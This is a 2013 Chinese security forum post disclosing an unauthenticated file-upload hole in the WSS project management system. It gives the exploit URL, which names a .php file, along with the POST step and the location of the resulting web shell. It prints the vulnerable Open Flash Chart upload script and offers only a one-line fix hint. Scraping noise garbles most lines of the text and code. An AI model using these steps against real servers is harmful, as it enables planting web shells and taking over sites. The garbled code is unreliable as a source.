找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2068|回复: 0
打印 上一主题 下一主题

WSS项目管理系统Post get shell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:38:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
POST 数据漏洞文件执行任意后缀文件保存- W. \% E2 Y1 L
漏洞文件/chart/php-ofc-library/ofc_upload_image.php
8 d' q, S: g! w& t% e+ A  k3 G$ o0 ~' H, I7 P
利用:
% a9 }& Y8 R" ^3 b! G5 o/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名
% m4 ?& Y: ~- U" m4 ?0 |( _5 ^
! P: e4 d. Q* z3 q0 y. D) d$ _Post任意数据
* o( T" _9 a: {5 K0 F$ N保存位置http://localhost/chart/tmp-upload-images/hfy.php
. c6 M3 j& j# S$ V# ]( l6 H6 V% ?" [& x' F+ I6 c
! g, e- ]1 h; W3 M; w
最新版wss漏洞文件,即使是收费版本也有的,在新浪商店部署的demo~8 t  P& y1 K4 B( j! C

) ~; l7 @2 G  {5 n3 y$ @- c<?php. N% j8 Y0 Z4 j* J. A! {; J; b
7 g+ f' \5 e$ [% E& }' e
//# m$ L$ _$ X- \2 }& G  ]1 M
// In Open Flash Chart -> save_image debug mode, you; Y& O& G6 k! A1 }4 l" I0 V6 K
// will see the 'echo' text in a new window.3 `: s% \6 ^2 v" X+ W2 v
//
7 T1 u+ o  X7 W9 [/ [4 x! X6 x$ ?0 z9 n7 \
/*
$ d+ ~& D" s7 E' P' T" `6 E/ C) o& ?
print_r( $_GET );
1 R; u4 ?! A; M1 |* U! }print_r( $_POST );) M- m8 J6 U# E% c& ~* w
print_r( $_FILES );  ~- P7 N5 }" w, T8 b. t

% k+ [5 v# T+ h- Xprint_r( $GLOBALS );
; h. U, y. o- E0 {print_r( $GLOBALS["HTTP_RAW_POST_DATA"] );/ ^2 I" W" @( T( G: A7 Q7 w, Y

) `8 w, D- [* W3 b1 r3 H*/  ~. p, I$ U$ l0 T8 Y
// default path for the image to be stored //
) E/ _: ~. S' B$default_path = '../tmp-upload-images/';7 |" p) Z2 m. v' E+ B( b6 T0 Z" }
2 {+ k6 A7 z: Y) b1 ]! y
if (!file_exists($default_path)) mkdir($default_path, 0777, true);3 |+ m" h5 y$ d0 e4 u$ o; |* c
& o: O9 a- \5 h3 S) `$ b0 C
// full path to the saved image including filename //
$ w  Z$ j. r' ~$destination = $default_path . basename( $_GET[ 'name' ] ); 7 D$ i4 k2 H% e. E+ ]) G% V: J
$ M. W' [! o2 `4 q! D) N3 J4 r
echo 'Saving your image to: '. $destination;
" [, W+ N3 k3 {0 [+ ~// print_r( $_POST );
) x' p& H, U6 d$ x5 {: [// print_r( $_SERVER );( h2 L) P, B1 O1 z
// echo $HTTP_RAW_POST_DATA;- O6 n: m) l% w* ]0 r) D& _
! W, P' N# i& Q0 d
//
* {5 d3 e3 @  c$ ^// POST data is usually string data, but we are passing a RAW .png
2 P) N2 C. P6 l6 X- G1 t0 `' X// so PHP is a bit confused and $_POST is empty. But it has saved6 r' d' {8 d, e' N! m
// the raw bits into $HTTP_RAW_POST_DATA
- N- t& |) F9 Y& d6 y/ J) R' v//$ Q  v0 `( K4 y/ y8 B& j- I" w$ e
( a( l6 r: M& N" b4 J
$jfh = fopen($destination, 'w') or die("can't open file");8 z; b$ {( U9 B# ~& L3 E  ~
fwrite($jfh, $HTTP_RAW_POST_DATA);* C# l, j5 v) v8 P
fclose($jfh);2 }( K+ w3 C9 O" E" \

/ }" O1 u' h! x, R6 Z% \//& J# S; |' L- e* @. I9 `- {
// LOOK:7 i* f7 }8 @- h( G9 {
//
+ c* |. V4 q* X7 C% K. C1 iexit();
1 h( p1 x5 }. I* {' s1 p//* f2 [" G+ [6 k% j
// PHP5:
0 C' L( O" C. |! r//2 X- w1 }- |8 d- H2 U
) A) @- h5 P+ T! Y& H- Q9 Q( G

1 c. E% B0 K& O  T: O// default path for the image to be stored //0 q5 l8 H3 S+ t9 S
$default_path = 'tmp-upload-images/';# N$ E* U8 w/ J% K0 ?0 t/ y' p# y

' J. C, ~# e* z; }+ D. q- cif (!file_exists($default_path)) mkdir($default_path, 0777, true);! F8 j0 k& k7 [9 |% ^& C7 C4 t6 W
, e: T( U0 r& N4 T. {
// full path to the saved image including filename //
0 U* s0 M4 ~- \3 k$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] ); . [: y5 G; w7 u. |# ?1 c
- ?1 F- D2 z4 l( V
// move the image into the specified directory //$ d7 w+ m% Y+ A1 G
if (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
3 p' ?) m$ W* E% l- W9 S; z    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";( }! u" X+ E6 w( \6 l' w4 K. G
} else {
! h. T, O, j( y4 I    echo "FILE UPLOAD FAILED";5 K# W. T+ L) V7 N, U! [
}
* b4 v( H8 c2 k# Y+ K$ k/ g% J0 R, d; w% `, Z" J* H
1 C- z) m( S& E7 x$ V1 f) x; P
?>5 b% u  J5 J+ }. Q2 p
! c  h3 Y1 }# l* H4 ]8 l* d1 R

9 H6 n7 M7 `% M' ^' l' K3 J* V# e; s* z. @2 ?

; I) U$ o& E# M4 c9 ^- J+ U8 k) X! T. j* J

; U6 e' K% ^# C3 t2 B2 c6 [1 z修复方案:
. v' c* ~% I- A, |7 k( b. \4 t这个漏洞文件就是个杯具,怎么破,加权限验证,后缀等验证~,自己搞 . F/ t4 D: F2 V/ E6 N& t, @2 S

" @* z3 s" x8 @( f  n; W
  k# e1 p: ~0 [
  m) @) t& J' k9 N
) \2 o7 r/ \2 ~8 p" U' d

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表